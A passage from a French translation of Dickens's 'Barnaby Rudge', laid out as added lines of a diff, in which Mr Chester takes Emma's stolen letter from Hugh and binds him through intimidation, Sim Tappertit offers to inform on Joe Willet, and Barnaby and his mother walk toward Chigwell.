+figure de Hugh reflétée aussi par le miroir; ce qui n'est pas
+probable, n'est-ce pas?
+
+-- Je suis donc venu, monsieur, dit Hugh, vous rapporter cela, en
+y joignant autre chose; c'est une lettre, monsieur, que j'ai prise
+à la personne qui en était chargée.»
+
+En même temps il posa sur la toilette l'épître même d'Emma, cette
+missive dont la perte avait causé tant de chagrin à Dolly.
+
+«Avez-vous enlevé ceci de vive force, mon bon garçon? dit
+M. Chester en y jetant les yeux, sans le moindre signe visible
+d'étonnement ou de plaisir.
+
+-- Pas tout à fait, dit Hugh, pas tout à fait.
+
+-- Qui était le messager auquel vous l'avez pris?
+
+-- Une femme, la fille d'un nommé Varden.
+
+-- Oh! vraiment, dit gaiement M. Chester. Ne lui avez-vous pas
+encore pris autre chose?
+
+-- Quelle autre chose?
+
+-- Oui, dit le gentleman d'un ton traînant, car il était occupé à
+fixer un tout petit morceau de taffetas d'Angleterre sur un tout
+petit bouton à l'un des coins de la bouche, autre chose.
+
+-- Eh bien!... un baiser.
+
+-- Et rien de plus?
+
+-- Rien.
+
+-- Je présume, dit M. Chester avec la même aisance, et en souriant
+deux ou trois fois pour voir si le petit morceau de taffetas
+adhérait bien au petit bouton, je présume qu'il y avait quelque
+autre chose. J'ai entendu parler d'un bijou... une simple
+bagatelle... Une chose de si minime valeur, en vérité, que vous
+pouvez ne plus vous en souvenir. Vous rappelez-vous quelque chose
+de ce genre... un bracelet, par exemple?»
+
+Hugh, en marmottant un jurement, plongea la main dans sa poitrine,
+et tirant de là le bracelet, enveloppé d'une poignée de foin, il
+allait mettre le tout sur la toilette, quand son patron, arrêtant
+sa main, l'invita à remettre le bijou à l'endroit où il était.
+
+«Vous avez pris cela pour vous, mon excellent ami, dit-il; gardez-
+le donc. Je ne suis ni un voleur, ni un receleur. Ne me le montrez
+pas. Vous ferez mieux de le cacher, et promptement. Ne me montrez
+pas non plus l'endroit où vous le mettez, ajouta-t-il en
+détournant la tête.
+
+-- Vous n'êtes pas un receleur! dit Hugh d'un ton brusque, malgré
+le respect croissant que lui inspirait le gentleman. Comment
+appelez-vous cela, maître? et il frappa la lettre de sa main
+pesante.
+
+-- J'appelle cela d'une manière toute différente, dit froidement
+M. Chester. Je vais vous le prouver à l'instant, vous verrez. Vous
+avez soif, je suppose?»
+
+Hugh, passant sa manche en travers de ses lèvres, répondit oui
+d'un air rechigné.
+
+«Allez à ce cabinet; apportez-moi une bouteille que vous y
+trouverez et un verre.»
+
+Il obéit. Son patron le suivit des yeux, et, quand il eut tourné
+le dos, M. Chester sourit alors, ce qu'il n'avait eu garde de
+faire tant que Hugh était debout à côté de la glace. À son retour,
+il remplit le verre, et lui dit de boire. Cette goutte expédiée,
+il lui en versa une autre, puis une autre.
+
+«Combien en pouvez-vous boire? dit-il en remplissant le verre
+derechef.
+
+-- Autant qu'il vous plaira de m'en donner. Versez toujours.
+Remplissez tout plein. Une rasade avec la mousse par-dessus!
+Quelqu'un qui m'en donnerait à mon contentement, ajouta-t-il en
+entonnant le liquide dans sa gorge barbue, j'irais pour lui
+assassiner un homme s'il me le demandait.
+
+-- Comme je n'ai pas l'intention de vous le demander, et que vous
+le feriez peut-être sans qu'on vous le demandât, si vous
+continuiez de boire, dit M. Chester avec un grand calme, nous nous
+arrêterons, s'il vous plaît, mon bon ami, au prochain verre.
+N'aviez-vous pas déjà bu avant de venir ici?
+
+-- Je bois toujours, quand je peux trouver à boire, cria Hugh
+d'une voix bruyante, en agitant au-dessus de sa tête le verre
+vide, et prenant vivement la pose grossière d'un Satyre qui va
+entrer en danse. Je bois toujours. Pourquoi pas! Ha, ha, ha! Y a-
+t-il jamais rien eu qui m'ait fait tant de bien? Non, non, rien,
+jamais. N'est-ce pas ce qui me défend du froid dans les nuits
+piquantes? qui me soutient lorsque je meurs de faim? Qu'est-ce
+donc qui m'aurait jamais donné la force et le courage d'un homme,
+quand les hommes m'auraient laissé mourir, chétif enfant? Sans
+cela, est-ce que j'aurais jamais eu le coeur d'un homme? Je serais
+mort dans un fossé. Quel est celui qui, du temps où j'étais un
+pauvre malheureux, faible, maladif, les jambes flageolantes et les
+yeux éteints, m'a jamais remis le coeur au ventre comme un verre
+de ça? Jamais, jamais. Je bois à la santé de la boisson, maître.
+Ha, ha, ha!
+
+-- Vous êtes un jeune homme d'un entrain extraordinaire, dit
+M. Chester en mettant sa cravate avec une grande circonspection,
+et remuant légèrement sa tête d'un côté à l'autre pour installer
+son menton à sa place. Un vrai luron.
+
+-- Voyez-vous cette main, maître, et ce bras? dit Hugh, mettant à
+nu jusqu'au coude le membre musculeux. Tout ça n'était autrefois
+que de la peau et des os, et ça ne serait plus que de la poussière
+dans quelque pauvre cimetière, sans la boisson.
+
+-- Vous pouvez le couvrir, dit M. Chester, on le verrait tout
+aussi bien dans votre manche.
+
+-- Je n'aurais jamais eu l'audace de prendre un baiser à
+l'orgueilleuse petite beauté, maître, sans la boisson, cria Hugh.
+Ha, ha, ha! C'était un bon baiser. Doux comme miel, je vous le
+garantis. C'est encore à la boisson que je dois ce baiser-là. Je
+vais boire encore à la boisson, maître. Remplissez-moi ce verre.
+Allons. Encore une fois!
+
+-- Vous êtes un garçon qui promettez trop, dit son patron en
+mettant son gilet avec le soin le plus scrupuleux, et sans tenir
+compte de sa requête; il est de mon devoir de vous garder des
+impulsions trop vives qui résulteraient infailliblement pour vous
+de la boisson, et qui peuvent vous faire pendre prématurément.
+Quel âge avez-vous?
+
+-- Je ne sais pas.
+
+-- Dans tous les cas, dit M. Chester, vous êtes assez jeune pour
+échapper, pendant quelques années encore, à ce que je peux appeler
+une mort naturelle. Comment venez-vous donc vous livrer dans mes
+mains, sur une si courte connaissance, avec la corde autour du
+cou? Il faut que vous soyez d'une nature bien confiante!»
+
+Hugh recula d'un pas ou deux, et l'examina d'un air où se mêlaient
+la terreur, l'indignation et la surprise. Quant à son patron, en
+se regardant dans le miroir avec la même affabilité qu'auparavant,
+et parlant d'une manière aussi aisée que s'il eût discuté quelque
+agréable commérage de la ville, il poursuivit:
+
+«Le vol sur la grande route, mon jeune ami, est une occupation
+dangereuse et chatouilleuse. Elle est agréable, je n'en doute pas,
+tant qu'elle dure; mais, comme tous les autres plaisirs en ce
+monde où tout passe, rarement elle dure longtemps. Et en réalité,
+si, dans la candeur de la jeunesse, vous êtes si prompt à ouvrir
+votre coeur sur ce sujet, je crains que votre carrière ne soit
+extrêmement limitée.
+
+-- Qu'est-ce-ci? dit Hugh. De quoi parlez-vous là, maître? qui m'y
+a poussé?
+
+-- Qui donc? dit M. Chester, en pivotant avec vivacité, et le
+regardant en face pour la première fois; je ne vous ai pas bien
+entendu. Qui est-ce?»
+
+Hugh se troubla et marmotta quelque chose qu'on ne pouvait pas
+entendre.
+
+«Qui est-ce? Je suis curieux de le savoir, dit M. Chester avec une
+affabilité des plus grandes. Quelque rustique beauté peut-être?
+mais soyez prudent, mon bon ami. Il ne faut pas toujours se fier à
+ces fillettes. Prenez note de l'avis que je vous donne, et faites
+attention à vous.» En disant ces mots, il se retourna vers le
+miroir et continua sa toilette.
+
+Hugh lui aurait bien répondu que c'était lui, lui qui lui faisait
+cette question, qui l'y avait poussé; mais les mots se collèrent
+dans sa gorge. L'art consommé avec lequel son patron l'avait amené
+là, l'habileté avec laquelle il avait dirigé toute la
+conversation, dérouta complètement le pauvre diable. Il ne douta
+pas que, s'il eût lâché la riposte qui était sur ses lèvres quand
+M. Chester se retourna si vivement, ce gentleman ne l'eût fait
+arrêter sur-le-champ et ne l'eût traîné devant un magistrat avec
+l'objet volé en sa possession; auquel cas il eût été pendu, aussi
+sûr qu'il était né. L'ascendant que l'homme du monde avait voulu
+prendre sur ce sauvage instrument fut conquis dès cet instant, et
+la soumission de Hugh fut complète. Il en eut une peur affreuse;
+il sentait que le hasard et l'artifice venaient de lui filer un
+bout de chanvre qui, au moindre mouvement d'une main aussi habile
+que celle de M. Chester, le suspendrait à la potence.
+
+En proie à ces pensées qui traversèrent rapidement son esprit, et
+pourtant se demandant encore comment il pouvait se faire qu'au
+moment même où il venait en tapageur, pour s'imposer lui-même à
+cet homme, il se fût laissé au contraire subjuguer si vite et si
+complètement, Hugh se tenait humble et timide devant M. Chester,
+le regardant de temps en temps avec une espèce de malaise, tandis
+qu'il finissait de s'habiller. Quand le gentleman eut fini, il
+prit la lettre, rompit le cachet, et se jetant en arrière dans sa
+chaise, lut à loisir les pages d'Emma d'un bout à l'autre.
+
+«Tout à fait bien troussé, sur ma vie! Une vraie lettre de femme;
+c'est plein de ce qu'on appelle tendresse, désintéressement, et
+tout ce qui s'ensuit!»
+
+En parlant ainsi, il tortilla le papier, et regardant avec
+indolence du côté de Hugh, comme s'il eût voulu dire: «Vous
+voyez!» il le présenta à la flamme de la bougie. Quand le papier
+fut tout en flamme, il le jeta sur la grille, et l'y laissa se
+consumer.
+
+«C'était adressé à mon fils, dit-il en se tournant vers Hugh; vous
+avez eu complètement raison de me l'apporter. Je l'ai ouvert sous
+ma responsabilité personnelle, et vous voyez ce que j'en ai fait.
+Prenez ceci pour votre peine.»
+
+Hugh, s'avançant de quelques pas, reçut la pièce d'argent que
+M. Chester lui tendait. Lorsque ce dernier la lui remit dans la
+main, il ajouta:
+
+» S'il vous arrivait de trouver quelque autre chose de cette
+sorte, ou de recueillir quelque renseignement qu'il vous parût que
+je pusse désirer connaître, apportez-les ici; voulez-vous, mon bon
+garçon?»
+
+Cela fut dit avec un sourire qui signifiait, ou du moins Hugh le
+crut: «Manquez-y et vous me le payerez.» Il répondit qu'il n'y
+manquerait pas.
+
+«Et ne soyez pas, reprit son patron, de l'air du plus affectueux
+patronage, ne soyez pas du tout abattu ou mal à votre aise au
+sujet de cette petite témérité dont nous avons parlé. Votre cou
+est aussi en sûreté dans mes mains que si c'était un baby qui le
+caressât dans ses petits doigts, je vous assure. Buvez encore un
+coup, maintenant que vous êtes plus tranquille.»
+
+Hugh l'accepta de sa main, et, regardant à la dérobée sa figure
+souriante, il but en silence le contenu.
+
+«Eh bien! vous ne buvez plus, ha, ha! vous ne buvez donc plus à la
+Boisson? dit M. Chester, de sa manière la plus séduisante.
+
+-- À vous, monsieur, répondit l'autre d'un air assez gauche, en
+faisant quelque chose comme une révérence. C'est à vous que je
+bois.
+
+-- Merci. Dieu vous bénisse! À propos, quel est votre nom, mon
+brave homme? On vous appelle Hugh, oui, je sais; mais votre autre
+nom?
+
+-- Je n'ai pas d'autre nom.
+
+-- Un bien étrange garçon! Voulez-vous dire par là que vous ne
+vous en êtes jamais connu d'autre, ou que vous aimez mieux
+l'oublier? Lequel des deux?
+
+-- Je vous dirais mon autre nom si je le savais, reprit Hugh avec
+vivacité, mais je ne m'en connais pas d'autre: on m'a toujours
+appelé Hugh, rien de plus. Je ne me suis jamais ni vu ni connu de
+père, je n'y ai seulement pas songé. J'étais un petit garçon de
+six ans, ce n'est pas bien vieux, lorsqu'on pendit ma mère à
+Tyburn pour procurer à deux mille hommes le plaisir de la voir à
+la potence. On aurait pu la laisser vivre: elle était assez
+malheureuse.
+
+-- C'est triste, bien triste! dit son patron, avec un sourire
+plein de condescendance. Je ne doute pas qu'elle ne fût
+extrêmement belle.
+
+-- Voyez-vous mon chien? dit Hugh d'un ton brusque.
+
+-- Fidèle, je parie, répliqua son patron, lorgnant le chien, et
+plein d'intelligence? Les animaux vertueux et bien doués, hommes
+et bêtes, sont toujours très hideux.
+
+-- Ce chien que vous voyez, et un de la même portée, furent la
+seule chose vivante, excepté moi, qui poussa des cris plaintifs ce
+jour-là, dit Hugh. De deux mille hommes, et davantage (la foule
+était plus nombreuse, parce que c'était une femme), le chien et
+moi nous fûmes les seuls à ressentir quelque pitié. Si ç'avait été
+un homme, il aurait été bien aise d'être débarrassé d'elle, car
+elle avait été contrainte par la misère de le laisser maigrir et
+presque mourir de faim; mais comme ce n'était qu'un chien, et
+qu'il n'avait pas naturellement les sentiments d'un homme, il en
+eut du chagrin.
+
+-- C'était pure stupidité de bête brute, certainement, dit
+M. Chester, et bien digne d'une bête brute comme lui.»
+
+Hugh ne répliqua pas; mais sifflant son chien, qui bondit au
+sifflement et vint sauter et gambader autour de lui, il souhaita
+le bonsoir à son ami, le gentleman sympathique.
+
+«Bonsoir, répondit M. Chester. N'oubliez pas que vous êtes en
+sûreté avec moi, tout à fait en sûreté. Aussi longtemps que vous
+le mériterez, mon bon garçon, et vous le mériterez toujours,
+j'espère, vous aurez en moi un ami sur le silence duquel vous
+pouvez compter. Maintenant faites attention à vous, et songez à
+quoi vous vous exposez. Bonsoir! Dieu vous assiste!»
+
+Hugh, intimidé par le sens caché de ces paroles, fit le chien
+couchant, et gagna la porte en rampant, pour ainsi dire, d'une
+manière si soumise et si subalterne, d'une façon, en un mot, si
+différente des airs de bravache qu'il avait en entrant, que son
+patron resté seul sourit plus que jamais.
+
+«Et cependant, dit-il en prenant une prise de tabac, je n'aime pas
+qu'on ait pendu sa mère. Ce garçon a un bel oeil; je suis sûr
+qu'elle était belle. Mais très probablement c'était une grossière
+créature; elle avait peut-être un nez rouge et de gros vilains
+pieds. Baste! Tout a été pour le mieux, sans aucun doute.»
+
+Après cette réflexion consolante, il mit son habit, adressa un
+regard d'adieu au miroir et sonna son domestique. Celui-ci parût
+promptement, suivi d'une chaise et de ses porteurs.
+
+«Pouah! dit M. Chester, l'atmosphère que ce centaure m'a apportée
+est empestée: cela pue l'échelle et la charrette. Ici, Peak.
+Apportez quelque eau de senteur et arrosez le parquet; prenez la
+chaise sur laquelle il s'est assis, et exposez-la à l'air: jetez
+un peu de cette essence sur moi. Je suis suffoqué!»
+
+Le domestique obéit; puis la chambre et le maître étant tous deux
+purifiés, M. Chester n'eut plus qu'à demander son claque, à le
+placer gracieusement plié sous son bras, à s'asseoir dans la
+chaise, et à se laisser emporter dehors en fredonnant un air à la
+mode.
+
+
+
+
+CHAPITRE XXIV.
+
+
+Comment ce gentleman distingué passa la soirée au milieu d'un
+cercle brillant, éblouissant; comment il enchanta tous ceux dont
+il s'approcha, par la grâce de son maintien, la politesse de ses
+manières, la vivacité de sa conversation et la douceur de sa voix;
+comment on remarqua dans chaque coin du salon que Chester était un
+homme d'une heureuse humeur, que rien ne le troublait, que les
+soucis et les erreurs du monde ne lui pesaient pas plus que son
+habit, et que sa figure souriante reflétait constamment un esprit
+calme et tranquille; comment d'honnêtes gens, qui par instinct le
+connaissaient mieux, s'inclinèrent néanmoins devant lui, pleins de
+déférence pour chacune de ses paroles, et courtisant la faveur
+d'un de ses regards; comment des gens qui avaient réellement du
+bon se laissèrent aller au courant, le flattèrent, l'adulèrent,
+l'approuvèrent, et se méprisèrent eux-mêmes de tant de bassesse;
+comment, en un mot, il fut un de ceux qui sont reçus et choyés
+dans la société par nombre de personnes qui, individuellement, se
+fussent éloignées avec dégoût de celui qui faisait en ce moment
+l'objet de leur attention avide: voilà des choses si naturelles,
+qu'elles se présenteront d'elles-mêmes à nos lecteurs. De
+pareilles platitudes sont si communes qu'elles ne valent à peine
+qu'un coup d'oeil rapide, et c'est tout.
+
+Les gens qui méprisent l'humanité (je ne parle pas des imbéciles
+et des comédiens, qui se font de cela une religion) sont de deux
+sortes: ceux qui croient leur mérite négligé et incompris forment
+la première classe; ceux qui recueillent la flatterie et
+l'adulation, sachant bien leur propre indignité, composent
+l'autre. Soyez sûr que les misanthropes, qui ont le coeur le plus
+froid, sont toujours de la dernière.
+
+M. Chester était dans son lit, sur son séant, le lendemain matin,
+et buvant à petits traits son café; il se rappelait, avec une
+espèce de satisfaction méprisante, comment il avait brillé la
+veille au soir, comment il avait été caressé et courtisé, lorsque
+son domestique lui apporta un très petit morceau de papier sale,
+étroitement cacheté à deux places, et à l'intérieur duquel étaient
+écrits en assez gros caractères les mots suivants: «Un ami. On
+désire une conférence. Immédiatement. En particulier. Brûlez cela
+après l'avoir lu.»
+
+«Où donc, au nom de la conspiration des poudres[23], avez-vous
+ramassé cela?» dit son maître.
+
+Cela lui avait été donné par une personne qui attendait maintenant
+à la porte: telle fut la réponse du domestique.
+
+«Avec un manteau et un poignard? dit M. Chester.
+
+-- Cette personne n'avait sur elle rien de plus menaçant, à ce
+qu'il m'a semblé, qu'un tablier de cuir et une figure sale.
+
+-- Qu'elle entre.» Elle entra. C'était M. Tappertit, avec ses
+cheveux encore hérissés, et dans sa main une grande serrure qu'il
+déposa sur le parquet au milieu de la chambre, comme s'il eût été
+prêt à exécuter quelque représentation où devait figurer une
+serrure.
+
+«Monsieur, dit M. Tappertit en faisant un profond salut, je vous
+remercie de votre condescendance, et je suis bien aise de vous
+voir. Excusez l'emploi servile dans lequel je suis engagé, et
+étendez votre sympathie sur un homme qui, malgré son humble
+apparence, travaille intérieurement à une oeuvre fort au-dessus de
+son rang social.»
+
+M. Chester écarta les rideaux du lit plus en arrière, et regarda
+ce visiteur avec une vague idée que c'était quelque maniaque qui
+non seulement avait forcé la porte de sa loge, mais avait emporté
+la serrure par-dessus le marché. M. Tappertit salua de nouveau, et
+développa ses jambes dans l'attitude la plus avantageuse.
+
+«Vous avez entendu parler, monsieur, dit M. Tappertit, en mettant
+sa main sur sa poitrine, de G. Varden, serrurier, _pose les
+sonnettes et exécute proprement les réparations à la ville et à la
+campagne, Clerkenwell, Londres?_
+
+-- Eh bien, après? demanda M. Chester.
+
+-- Je suis son apprenti, monsieur.
+
+-- Eh bien, après?
+
+-- Hem! dit M. Tappertit, voulez-vous me permettre de fermer la
+porte, monsieur, et voulez-vous en outre, monsieur, me donner
+votre parole d'honneur que ce qui se passera entre nous demeurera
+strictement confidentiel?»
+
+M. Chester se recoucha dans son lit avec calme, et tournant une
+figure où il n'y avait pas le moindre trouble, vers l'étrange
+apparition qui pendant ce temps avait fermé la porte, il pria
+l'inconnu de s'expliquer aussi raisonnablement que possible, si
+cela ne le gênait pas.
+
+«En premier lieu, monsieur, dit M. Tappertit, exhibant un petit
+mouchoir de poche et le secouant pour le déplier, comme je n'ai
+pas de carte sur moi (l'envie des maîtres nous ravale au-dessous
+de ce niveau), souffrez que je vous offre ce que les circonstances
+me fournissent de mieux en remplacement d'une carte. Si vous
+voulez prendre ceci dans votre main, monsieur, et jeter les yeux
+sur le coin qui est à votre droite, dit M. Tappertit en présentant
+d'un air gracieux son mouchoir, vous y trouverez mes lettres de
+créance.
+
+-- Je vous remercie, répondit M. Chester en acceptant ce mouchoir
+avec politesse, et regardant à l'un des bouts quelques caractères
+d'un rouge de sang: _Quatre. Simon Tappertit. Un._ Est-ce cela?
+
+-- C'est mon nom, monsieur, ne faites pas attention aux numéros,
+répliqua l'apprenti. Les numéros ne sont là que comme de simples
+indications pour la blanchisseuse, sans aucune connexion avec moi
+ni ma famille. Votre nom, monsieur, dit M. Tappertit en regardant
+fixement le bonnet de nuit du gentleman, est Chester, je suppose?
+vous n'avez pas besoin de l'ôter, monsieur, je vous remercie. Je
+vois d'ici E. C.; nous tiendrons le reste pour chose convenue.
+
+-- Monsieur Tappertit, je vous prie, dit M. Chester, cette pièce
+compliquée de serrurerie que vous m'avez fait la faveur d'apporter
+avec vous a-t-elle quelque connexion immédiate avec l'affaire que
+nous avons à discuter?
+
+-- Elle n'en a aucune, monsieur, répliqua l'apprenti. C'est que
+j'allais la poser à la porte d'un magasin dans Thames-Street.
+
+-- Peut-être, en ce cas, dit M. Chester, comme elle a un parfum
+d'huile grasse un peu plus fort que je n'ai l'habitude d'en
+rafraîchir ma chambre à coucher, voudrez-vous bien m'obliger de la
+déposer dehors à la porte?
+
+-- Certainement, monsieur, dit M. Tappertit, se hâtant
+d'acquiescer à ce désir.
+
+-- Vous m'excuserez de cette observation, j'espère?
+
+-- Ne vous en excusez pas, monsieur, je vous prie. Et maintenant,
+s'il vous plaît, à notre affaire.»
+
+Durant tout le cours de ce dialogue, M. Chester n'avait rien
+laissé paraître sur sa figure que son sourire de sérénité et de
+politesse inaltérable. Sim Tappertit, qui avait de lui-même une
+opinion beaucoup trop bonne pour soupçonner que n'importe qui pût
+s'amuser à ses dépens, s'imagina reconnaître là quelque chose du
+respect qui lui était dû, et fit de cette conduite courtoise d'un
+étranger à son égard une comparaison qui n'était point du tout
+favorable à celle du digne serrurier, son patron.
+
+-- D'après ce qui se passe chez nous, dit M. Tappertit, je suis
+instruit, monsieur, d'un commerce que votre fils entretient avec
+une jeune demoiselle contre vos inclinations. Votre fils ne s'est
+pas bien conduit avec moi, monsieur.
+
+«Monsieur Tappertit, dit l'autre, vous me peinez au delà de toute
+expression.
+
+-- Je vous remercie, monsieur, répliqua l'apprenti. Je suis aise
+de vous entendre parler ainsi. Il est très fier, monsieur votre
+fils, très hautain.
+
+-- J'en ai peur, dit M. Chester. Savez-vous que je le craignais un
+peu déjà? mais votre témoignage ne me permet plus d'en douter.
+
+-- Raconter les corvées serviles que j'ai eu à faire pour votre
+fils, monsieur, dit M. Tappertit; les chaises que j'ai eu à lui
+donner, les voitures que j'ai eu à aller lui chercher, les
+nombreuses besognes dégradantes, et sans la moindre connexion avec
+mon contrat d'apprentissage, que j'ai eu à subir pour lui,
+remplirait une Bible de famille. D'ailleurs, monsieur, ce n'est
+lui-même au bout du compte qu'un jeune homme, et je ne considère
+pas: «Merci, Sim» comme une formule convenable de politesse en ces
+occasions.
+
+-- Monsieur Tappertit, vous avez une sagesse au-dessus de votre
+âge. Continuez, je vous prie.
+
+-- Je vous remercie de votre bonne opinion, monsieur, dit Sim,
+très flatté, et je tâcherai de la justifier. Maintenant, monsieur,
+à cause de ce grief (et peut-être encore pour une ou deux raisons
+qu'il est inutile de vous déduire), je suis de votre côté. Et
+voici ce que je vous dis: tant que nos gens iront et viendront, çà
+et là, en long et en large, à ce vieux joyeux Maypole là-bas, avec
+des lettres, des commissions mille choses qu'on porte, qu'on va
+chercher, vous ne sauriez empêcher votre fils d'entretenir
+commerce avec cette jeune demoiselle par délégué, quand tous les
+Horse-Guards[24] le surveilleraient nuit et jour, en grand uniforme,
+depuis le premier jusqu'au dernier.»
+
+M. Tappertit s'arrêta pour prendre haleine après cette hypothèse;
+puis il reprit son élan.
+
+«Maintenant, monsieur, j'arrive au point capital. Vous demanderez
+comment empêcher cela? je vais vous dire comment. Si un honnête,
+civil, et souriant gentleman, tel que vous...
+
+-- Monsieur Tappertit, réellement...
+
+-- Non, non, je parle sérieusement, répliqua l'apprenti, je parle
+sérieusement, ma parole d'honneur. Si un honnête, civil, et
+souriant gentleman, tel que vous, consentait à causer seulement
+pendant dix minutes avec notre vieille femme, Mme Varden, et à la
+flatter un brin, elle vous serait acquise à jamais. Et nous
+obtiendrons cet autre résultat que sa fille Dolly (ici une rougeur
+subite se répandit sur la figure de M, Tappertit) n'aurait plus la
+permission de servir dorénavant d'intermédiaire; mais rien ne l'en
+empêchera, tant que nous n'aurons pas la mère pour nous. Songez-y
+bien.
+
+-- Monsieur Tappertit, votre connaissance de la nature humaine...
+
+-- Attendez une minute, dit Sim, en croisant ses bras avec un
+calme effrayant. J'arrive à présent au point le plus capital.
+Monsieur, il y a un scélérat à ce Maypole, un monstre sous forme
+humaine, un vagabond fini. Si vous ne vous en débarrassez pas, si
+vous ne le faites pas au moins enlever et confisquer, vous ne
+réussirez à rien, il mariera votre fils, soyez-en sûr et certain,
+comme s'il était l'archevêque de Canterbéry en personne. Il le
+fera, monsieur, vu la haine malicieuse qu'il vous porte, et à part
+le plaisir de faire une mauvaise action, qui suffit pour le payer
+de toutes ses peines. Si vous saviez comme ce gaillard, ce Joseph
+Willet (c'est son nom), va et vient chez nous, vous diffamant,
+vous dénonçant, vous menaçant, et comme je frémis quand je
+l'entends, vous le haïriez plus que je ne fais, monsieur, dit
+M. Tappertit d'un air farouche, en hérissant sa chevelure encore
+davantage, et en grinçant des dents comme s'il voulait écraser son
+ennemi sous ses molaires, si c'était possible.
+
+-- Une petite vengeance particulière, monsieur Tappertit?
+
+-- Vengeance particulière, monsieur, ou intérêt public, ou tous
+les deux combinés, n'importe; détruisez-le, répliqua M. Tappertit.
+Miggs le dit comme moi. Miggs et moi, voyez-vous, nous ne pouvons
+souffrir tous ces complots souterrains qui vont leur train. Nos
+coeurs s'en révoltent. Barnabé Rudge et Mme Rudge sont dans
+l'affaire également; mais c'est ce scélérat de Joseph Willet qui
+est le meneur. Leurs complots et leurs plans sont connus de moi et
+de Miggs. Si vous désirez vous renseigner là-dessus, vous n'avez
+qu'à vous adresser à nous. À bas Joseph Willet, monsieur!
+Détruisez-le. Écrasez-le. Et ce sera bien fait.»
+
+En disant ces mots, M. Tappertit, qui semblait ne pas attendre de
+réplique, et regarder comme une conséquence nécessaire de son
+éloquence que son auditeur fût tout à fait abasourdi, muet
+d'admiration, réduit au mutisme et anéanti, croisa ses bras de
+telle sorte que la paume de chacune de ses mains resta sur
+l'épaule opposée; et il disparut à la manière de ces conseillers
+mystérieux dont il avait vu les allures dans les livres de contes
+à bon marché.
+
+«Ce garçon, dit M. Chester en détendant sa figure, lorsque
+l'apprenti fut déjà loin, est bon pour m'entretenir la main. Il
+faut vraiment que je sois maître de ma physionomie comme je le
+suis, pour ne pas pouffer de rire. Mais, avec tout cela, il n'en
+confirme pas moins pleinement mes soupçons. Il y a telles
+circonstances où des outils émoussés valent mieux pour l'usage
+qu'on en veut faire que des instruments bien raffinés. Je crains
+d'être obligé de faire un grand ravage parmi ces dignes gens.
+Fâcheuse nécessité! J'en suis tout à fait désolé pour eux.»
+
+Cela dit, il commença par s'assoupir tout doucement: puis il tomba
+petit à petit dans un sommeil si paisible, si agréable, qu'il
+avait tout à fait l'air d'un enfant qui fait son dodo.
+
+
+
+
+CHAPITRE XXV.
+
+
+Laissant l'homme favorisé, bien reçu et flatté par le monde,
+l'homme du monde le plus mondain, qui jamais ne se compromit en
+dérogeant au code du gentleman, qui jamais ne fut coupable d'une
+action virile, dormir dans son lit en souriant (car le sommeil
+lui-même, n'opérant qu'un faible changement sur sa figure
+dissimulée, devenait, chez M. Chester, une espèce d'hypocrisie
+conventionnelle et calculée), nous allons suivre deux voyageurs
+qui se dirigent lentement à pied vers Chigwell.
+
+Barnabé et sa mère. Grip les accompagne, bien entendu.
+
+La veuve, à qui chaque pénible mille semblait plus long que le
+dernier, poursuivait sa route triste et fatigante; Barnabé, cédant
+à toutes les impulsions du moment, voltigeait çà et là, tantôt la
+laissant loin derrière lui, tantôt musant loin derrière elle,
+tantôt s'élançant dans quelque ruelle détournée ou quelque
+sentier, pendant qu'elle continuait seule sa route, et puis
+apparaissant de nouveau à la dérobée et arrivant sur elle avec un
+hourra de folle joie, selon les inspirations de sa fantasque et
+capricieuse nature. Tantôt il l'appelait de la branche la plus
+élevée de l'un des plus hauts arbres du bord de la route; tantôt,
+se servant de son grand bâton en guise de perche à sauter, il
+volait par-dessus un fossé, ou une haie, ou une barrière à cinq
+traverses; tantôt, avec une vitesse étonnante, il courait un mille
+ou plus sur la route tout droit devant lui, et faisait halte pour
+jouer avec Grip sur un peu de gazon, jusqu'à ce qu'elle le
+rejoignît. C'étaient là ses délices; et, quand sa patiente mère
+entendait sa voix, ou qu'elle regardait sa figure animée et pleine
+de santé, elle n'aurait pas voulu gâter ses plaisirs par une
+triste parole, ni par un murmure, quoique la gaieté insouciante et
+salubre qui faisait le bonheur de son fils fût pour elle, par
+réflexion, la source de ses souffrances éternelles.
+
+C'est quelque chose pourtant d'avoir sous les yeux le spectacle de
+la gaieté libre, impétueuse, à la face de la nature, lors même que
+c'est la gaieté folâtre d'un idiot. C'est quelque chose de savoir
+que le ciel a laissé une place pour le contentement dans la
+poitrine d'une telle créature; c'est quelque chose d'être assuré
+que, si légèrement qu'on voie les hommes détruire cette faculté
+chez leurs semblables, le grand créateur de l'humanité l'accorde
+au plus humble, au plus méprisé de ses ouvrages. Qui ne
+préférerait être témoin du bonheur d'un idiot en plein soleil
+plutôt que des angoisses languissantes de l'homme le plus sensé
+dans une ténébreuse prison?
+
+Gens d'une austérité lugubre, vous dont le pinceau prête au visage
+de l'infinie bienveillance un continuel froncement de sourcils,
+lisez le livre éternel tout grand ouvert à vos yeux, et retenez la
+leçon qu'il vous donne. Ses peintures n'ont pas des nuances noires
+et sombres, mais des teintes brillantes et éblouissantes; sa
+musique, si ce n'est quand vous la couvrez de vos croassements, ne
+consiste pas en soupirs et en gémissements, mais en chansons et en
+joyeux accords. Écoutez ces millions de voix dans l'air d'été, et
+trouvez-en une seule aussi lamentable que la vôtre. Rappelez-vous,
+si vous pouvez, le sentiment d'espoir et de plaisir que chaque
+riant retour du jour éveille dans la poitrine de tous vos
+semblables qui n'ont pas changé leur nature; et apprenez quelque
+sagesse même des pauvres d'esprit, quand leurs coeurs sont
+soulevés, ils ne savent pas pourquoi, par toute l'allégresse et
+tout le bonheur que le jour renaissant leur apporte.
+
+Le sein de la veuve était rempli d'inquiétude, il était accablé
+d'affliction et d'une secrète épouvante; mais la gaieté de coeur
+de son fils la réjouissait, et trompait les ennuis de ce long
+voyage. Quelquefois il l'invitait à s'appuyer sur son bras, et il
+restait bien tranquille à côté d'elle pendant une courte distance;
+mais il était plus dans sa nature de rôder çà et là, et elle avait
+plus de plaisir encore à le voir libre et heureux qu'à le garder
+auprès d'elle, parce qu'elle l'aimait plus qu'elle-même.
+
+Elle avait quitté l'endroit où ils se rendaient, aussitôt après
+l'événement qui avait changé toute leur existence; et, depuis
+vingt-deux ans, elle n'avait jamais eu le courage de retourner le
+visiter. C'était son village natal. Quelle foule de souvenirs
+s'empara de son esprit lorsque Chigwell frappa sa vue!
+
+Vingt-deux ans! Toute la vie et toute l'histoire de son garçon. La
+dernière fois qu'elle avait jeté en arrière un regard sur ces
+toits au milieu des arbres, elle l'emportait dans ses bras, enfant
+en bas âge. Que de fois, depuis ce temps, elle était restée assise
+à ses côtés jour et nuit, épiant l'aube de l'intelligence qui
